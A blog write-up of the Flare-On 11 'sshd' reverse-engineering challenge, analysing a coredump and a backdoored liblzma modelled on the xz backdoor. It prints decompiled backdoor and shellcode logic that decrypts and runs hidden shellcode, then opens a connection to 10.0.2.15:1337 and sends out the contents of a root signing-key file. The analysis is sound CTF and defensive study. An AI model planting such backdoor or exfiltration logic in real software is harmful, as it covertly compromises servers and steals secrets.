sud0woodo
  • welcome
  • Reversing Adventures
    • Reversing the shad0w framework part 1
    • Reversing the shad0w framework part 2
    • Reversing the shad0w framework part 3
    • Building a PE from scratch
    • Decrypting Synology Patchfiles
    • Flare-On 11 - 05 sshd
  • Binary Exploitation
    • Binary Exploitation Automation with Radare2
    • CTF write-up: Rob's Admin Program
  • Network
    • Developing Urgent11 Detection with Suricata
    • Unfortunate Encounters: Hardcoded RSA Keys
Powered by GitBook
On this page
  • Premise
  • Analyzing the coredump
  • liblzma.so.5
  • Shellcode
  • Decrypting the buffer
  • Conclusion
  1. Reversing Adventures

Flare-On 11 - 05 sshd

Last updated 6 months ago

This post will go into my write-up for challenge 5 of the Flare-On CTF that is hosted yearly by the FLARE team of Mandiant (Google). I did not manage to finish all of the challenges this year, but I learned some new things regardless and thought challenge 5 was a really well thought out challenge.

Premise

$ grep -Rnwi "fmnt"
Binary file ./ssh_container.tar matches
Binary file ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 matches
00007730: 0000 0000 0000 0000 6e75 2f6c 6962 6c7a  ........nu/liblz
00007740: 6d61 2e73 6f2e 3500 622f 7838 365f 3634  ma.so.5.b/x86_64
00007750: 2d6c 696e 7578 2d67 ff00 0000 0000 0000  -linux-g.

It's pretty clear at this point we will have to analyze the coredump that is present in this container so I grabbed the /usr/sbin/sshd binary together with the coredump and started to analyze it.

Analyzing the coredump

gdb -c sshd.core.93794.0.0.11.1725917676 sshd

When we look at the stacktrace we get the following information:

gef➤  bt
#0  0x0000000000000000 in ?? ()
#1  0x00007f4a18c8f88f in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
#2  0x000055b46c7867c0 in ?? ()
#3  0x000055b46c73f9d7 in ?? ()
#4  0x000055b46c73ff80 in ?? ()
#5  0x000055b46c71376b in ?? ()
#6  0x000055b46c715f36 in ?? ()
#7  0x000055b46c7199e0 in ?? ()
#8  0x000055b46c6ec10c in ?? ()
#9  0x00007f4a18e5824a in __libc_start_call_main (main=main@entry=0x55b46c6e7d50, argc=argc@entry=0x4, argv=argv@entry=0x7ffcc6602eb8) at ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=0x4, argv=0x7ffcc6602eb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffcc6602ea8) at ../csu/libc-start.c:360
#11 0x000055b46c6ec621 in ?? ()

Again we have a reference from liblzma.so.5 in our stackframes...

We can then inspect the stackframes listed with the frame <stacknumber> command, I started by looking at frame 0 and inspecting the registers. To make sense of this we also need to know what was running at what address in memory, we can use the i proc m command to do so. We can then annotate a little bit where each register is pointing to:

gef➤  i r
rax            0x0                 0x0
rbx            0x1                 0x1
rcx            0x55b46d58e080      0x55b46d58e080
rdx            0x55b46d58eb20      0x55b46d58eb20
rsi            0x55b46d51dde0      0x55b46d51dde0
rdi            0x200               0x200
rbp            0x55b46d51dde0      0x55b46d51dde0
rsp            0x7ffcc6601e98      0x7ffcc6601e98
r8             0x1                 0x1               // Unknown, possibly bool value
r9             0x7ffcc6601e10      0x7ffcc6601e10
r10            0x1e                0x1e              // Looks like a size
r11            0x7d63ee63          0x7d63ee63
r12            0x200               0x200             // Looks like a size
r13            0x55b46d58eb20      0x55b46d58eb20
r14            0x55b46d58e080      0x55b46d58e080    // sshd memory space
r15            0x7ffcc6601ec0      0x7ffcc6601ec0
rip            0x0                 0x0               // INVALID -> this will cause a crash
eflags         0x10206             [ PF IF RF ]
cs             0x33                0x33
ss             0x2b                0x2b
ds             0x0                 0x0
es             0x0                 0x0
fs             0x0                 0x0
gs             0x0                 0x0

So the above doesn't give us a whole lot yet, we can also check the caller of this routine by looking at stack frame 1, suspiciously this is the frame of liblzma.so.5 which was recently in the news because of the xz backdoor. The RIP register is pointing into the memory space of liblzma.so.5 before the crash so it makes sense to zoom in a little bit more into this;

   0x7f4a18c8f857:	call   0x7f4a18c8a830 <getuid@plt>
   0x7f4a18c8f85c:	lea    rsi,[rip+0x19f79]        # 0x7f4a18ca97dc
   0x7f4a18c8f863:	test   eax,eax
   0x7f4a18c8f865:	jne    0x7f4a18c8f877
   0x7f4a18c8f867:	cmp    DWORD PTR [rbp+0x0],0xc5407a48
   0x7f4a18c8f86e:	je     0x7f4a18c8f8c0
   0x7f4a18c8f870:	lea    rsi,[rip+0x19f51]        # 0x7f4a18ca97c8
   0x7f4a18c8f877:	xor    edi,edi
   0x7f4a18c8f879:	call   0x7f4a18c8acf0 <dlsym@plt>
   0x7f4a18c8f87e:	mov    r8d,ebx
   0x7f4a18c8f881:	mov    rcx,r14
   0x7f4a18c8f884:	mov    rdx,r13
   0x7f4a18c8f887:	mov    rsi,rbp
   0x7f4a18c8f88a:	mov    edi,r12d
   0x7f4a18c8f88d:	call   rax
=> 0x7f4a18c8f88f:	mov    rbx,QWORD PTR [rsp+0xe8]

So this shows us that dlsym was called with a certain value and for whatever reason our program crashed after calling this. Let's see what function of the liblzma.so.5 we're looking at by looking at stack frame 2 and printing the disassembly around the RIP again:

   0x55b46c78678b:	call   0x55b46c6e73c0 <malloc@plt>
   0x55b46c786790:	mov    r13,rax
   0x55b46c786793:	test   rax,rax
   0x55b46c786796:	je     0x55b46c78684f
   0x55b46c78679c:	mov    r9,QWORD PTR [rsp+0x8]
   0x55b46c7867a1:	mov    rsi,QWORD PTR [rsp+0x18]
   0x55b46c7867a6:	mov    rcx,rbx
   0x55b46c7867a9:	mov    rdx,rax
   0x55b46c7867ac:	mov    r8d,0x1
   0x55b46c7867b2:	mov    r12d,0xffffffea
   0x55b46c7867b8:	mov    edi,r9d
   0x55b46c7867bb:	call   0x55b46c6e62b0 <RSA_public_decrypt@plt>
=> 0x55b46c7867c0:	test   eax,eax

Checking where the call for RSA_public_decrypt is taking us:

gef➤  x/64i 0x55b46c6e62b0 - 0x80
   <SNIPPED>
   0x55b46c6e62b0 <RSA_public_decrypt@plt>:	jmp    QWORD PTR [rip+0x125f62]        # 0x55b46c80c218 <[email protected]>
   0x55b46c6e62b6 <RSA_public_decrypt@plt+6>:	push   0x28
   0x55b46c6e62bb <RSA_public_decrypt@plt+11>:	jmp    0x55b46c6e6020
   <SNIPPED>

liblzma.so.5

With the above information I loaded the liblzma.so.5 binary into BinaryNinja to find the above routines in the binary and see what was going on:

00009857  e8d4afffff         call    getuid
0000985c  488d35799f0100     lea     rsi, [rel data_237dc]  {"RSA_public_decrypt"}
00009863  85c0               test    eax, eax
00009865  7510               jne     0x9877
00009867  817d00487a40c5     cmp     dword [rbp], 0xc5407a48
0000986e  7450               je      0x98c0
00009870  488d35519f0100     lea     rsi, [rel data_237c8]  {"RSA_public_decrypt "}
00009877  31ff               xor     edi, edi  {0x0}
00009879  e872b4ffff         call    dlsym
0000987e  4189d8             mov     r8d, ebx
00009881  4c89f1             mov     rcx, r14
00009884  4c89ea             mov     rdx, r13
00009887  4889ee             mov     rsi, rbp
0000988a  4489e7             mov     edi, r12d
0000988d  ffd0               call    rax
0000988f  // RIP was here
0000988f  488b9c24e8000000   mov     rbx, qword [rsp+0xe8 {var_40}]

Interestingly enough the dlsym loaded the RSA_public_decrypt value and passed this function as its return. A thing to note is that this function contains an extra space at the end and could indicate that it is trying to load a function that doesn't exist RSA_public_decrypt (without the space at the end), therefore crashing the dlsym call.

In the above disassembly snippet we can already observe a weird comparison being done, it becomes a bit more clear in the decompiled output;

int64_t dlsym_RSA_public_decrypt(int32_t arg1, int32_t* arg2, int64_t arg3, int64_t arg4, int32_t arg5)
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    char const* const rsi = "RSA_public_decrypt"
        
    if (getuid() == 0)
    	if (*arg2 == 0xc5407a48)    // Comparison with 0xc5407a48
    <SNIPPED>

This check is done on the value present in RBP, a quick check reveals this is indeed the case:

gef➤  x $rbp
0x55b46d51dde0:	0xc5407a48

After some annotation of the shellcode we have a function that looks like the following:

int64_t dlsym_RSA_public_decrypt(int32_t arg1, int32_t* arg2, 
    int64_t arg3, int64_t arg4, int32_t arg5)

    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    char const* const funcname = "RSA_public_decrypt"
    
    if (getuid() == 0)
        if (*arg2 == 0xc5407a48)
            void out
            chacha20_block(&out, key: &arg2[1], nonce: &arg2[9], index: 0)
            void* shellcode = memcpy(mmap(addr: nullptr, len: sx.q(shellcode_len), prot: 7, flags: 0x22, fd: 0xffffffff, offset: 0), shellcode, sx.q(shellcode_len))
            chacha20_crypt(&out, shellcode, sx.q(shellcode_len))
            shellcode()
            chacha20_block(&out, key: &arg2[1], nonce: &arg2[9], index: 0)
            chacha20_crypt(&out, shellcode, sx.q(shellcode_len))
        
        funcname = "RSA_public_decrypt "
    
    int64_t result = dlsym(0, funcname)(zx.q(arg1), arg2, arg3, arg4, zx.q(arg5))
    <SNIPPED>

The above code loads a blob of data which is shellcode that is encrypted with ChaCha20, decrypts this shellcode and then executes it. The key and nonce used for the decryption can be found in the RSI register;

key: RSI[1] (uint128) = 943df638a81813e2de6318a507f9a0ba2dbb8a7ba63666d08d11a65ec914d66f
nonce: RSI[9] = f236839f4dcd711a52862955

A very simply Python script can then be used to decrypt the blob of data that was found in the liblzma.so.5 binary;

from Crypto.Cipher import ChaCha20

shellcode = bytes.fromhex(SHELLCODE)

cipher = ChaCha20.new(key=bytes.fromhex("943df638a81813e2de6318a507f9a0ba2dbb8a7ba63666d08d11a65ec914d66f"), nonce=bytes.fromhex("f236839f4dcd711a52862955"))
decrypted = cipher.decrypt(shellcode)
if decrypted.endswith(b"expand 32-byte K\x00"):
    print(decrypted)
    print(decrypted.hex())

Shellcode

This new functionality leads to some network connections being set up towards 10.0.2.15:1337 and receive 3 packets of different lengths; packet 1: 0x20, packet 2: 0xC, packet 3: 0x4, totaling 48 bytes;

int64_t shellcode_recv(int64_t arg1, int64_t arg2)
    int64_t var_10 = arg2
    int64_t var_18 = arg1
    // connects to 10.0.2.15:1337
    int32_t sockfd = c2_connect(arg1, arg2, port: 1337, 0xa00020f)
    void chacha20_key_packet
    syscall(sys_recvfrom {0x2d}, sockfd, buf: &chacha20_key_packet, len: 0x20, flags: 0, src_addr: nullptr, addrlen: nullptr)
    void chacha20_nonce_packet
    syscall(sys_recvfrom {0x2d}, sockfd, buf: &chacha20_nonce_packet, len: 0xc, flags: 0, src_addr: nullptr, addrlen: nullptr)
    int32_t len_packet
    syscall(sys_recvfrom {0x2d}, sockfd, buf: &len_packet, len: 4, flags: 0, src_addr: nullptr, addrlen: nullptr)
    void pathname_packet
    *(&pathname_packet + sx.q(syscall(sys_recvfrom {0x2d}, sockfd, buf: &pathname_packet, len: zx.q(len_packet), flags: 0, src_addr: nullptr, addrlen: nullptr))) = 0
    int32_t file_fd = syscall(sys_open {2}, pathname: &pathname_packet, flags: 0)
    void _filebuf
    char* filebuf = &_filebuf
    syscall(sys_read {0}, fd: file_fd, buf: filebuf, count: 128)
    void* filebuf_end = &_filebuf
    
    while (i != 0)
        bool cond:0_1 = 0 != *filebuf_end
        filebuf_end += 1
        i -= 1
    
    if (not(cond:0_1))
        break

    int32_t var_ec = not.d(i.d) - 1
    unkstruct_1* outstruct
    chacha_init(__filebuf: filebuf_end, filebuf, &chacha20_key_packet, &chacha20_nonce_packet, nullbyte: 0, &outstruct)
    chacha_decrypt(filebuf_end, filebuf, filebuf: &_filebuf, filesize: zx.q(var_ec), &outstruct)
    
    syscall(sys_sendto {0x2c}, sockfd, buf: &var_ec, len: 4, flags: 0, dest_addr: nullptr, addrlen: 0)
    void* rsi_5 = &_filebuf
    uint64_t sockfd_1 = zx.q(sockfd)
    syscall(sys_sendto {0x2c}, sockfd: sockfd_1.d, buf: rsi_5, len: zx.q(var_ec), flags: 0, dest_addr: nullptr, addrlen: 0)
    close_file(file_fd)
    close_socket(sockfd_1, rsi_5, 0, sockfd)
    
    return 0

During the string "analysis" I noticed a string in the coredump that led me to an easy way to uncover the above information we need to decrypt whatever buffer was read from that file;

001f4be0: a012 60c6 fc7f 0000 8dec 9112 eb76 0eda  ..`..........v..
001f4bf0: 7c7d 87a4 4327 1c35 d9e0 cb87 8993 b4d9  |}..C'.5........
001f4c00: 04ae f934 fa21 66d7 1111 1111 1111 1111  ...4.!f.........
001f4c10: 1111 1111 2000 0000 2f72 6f6f 742f 6365  .... .../root/ce
001f4c20: 7274 6966 6963 6174 655f 6175 7468 6f72  rtificate_author
001f4c30: 6974 795f 7369 676e 696e 675f 6b65 792e  ity_signing_key.
001f4c40: 7478 7400 ffff ffff 0000 0000 0000 0000  txt.............

If we look at the pattern of the packets received we can lay out the order:

key: 8dec9112eb760eda7c7d87a443271c35d9e0cb878993b4d904aef934fa2166d7
nonce: 111111111111111111111111
size: 0x20 (size of filename)

Another clever way of finding this information came from a friend of mine who calculated back using the stack offset of the function called for initializing the ChaCha20 routine;

As the function is called the stack sits at 0x16b0, going from there I simply started dumping hex values until I saw a pattern emerging and a piece of hex that could indicate a size. This let me to: $rsp-0x16b0+1024 -> points to start of chacha20_packet, there's a RSP-0x1688 at the start of the function connecting to the C2 and receiving the packets. We need to calculate backwards to get the contents of the ChaCha20 key packet, nonce packet and pathname packet.

Decrypting the buffer

The last part had me stuck for quite a while as it turned out that this was a modified ChaCha20 routine where the constants were changed... We can now go 2 ways:

  • Change the Python package we used earlier to use different constants;

I opted to go for the emulation as I had too little experience with this and it turned out to be a good exercise.

Because the stack is not that large we can simply dump it and traverse it byte-by-byte until we get output that is somewhat resembling the flag format that we expect. And we need to patch the 64th byte of each buffer we're attempting to contain the @ character so it matches the struct that is being build in the shellcode.

Conclusion

Thank you FLARE team for another year of cool challenges, challenge 7 really underlines the need for me to dive more into the basics of cryptography and why it works ;) This challenge learned me some new cool tricks that will sure prove to be useful in my day-to-day job as well!

You receive a container image in a TAR file (), it's up to the participant to find the interesting files in this container to start our analysis for the challenge. I started out by performing some basic enumeration to see which folders we have and noticed a weird folder named /fmnt. Doing a quick grep on the system showed only 2 other files out of which there's only one file interesting enough;

I then checked for some strings within the coredump itself for some quick wins and seemed to get an initial hint to the from earlier this year;

To start analyzing the coredump I used which is a fancy wrapper for GDB to make your life a little more pleasant;

Emulate the shellcode's routine using something like ;

You can find the emulator code in :)

my favorite
xz backdoor
gef
unicorn
this gist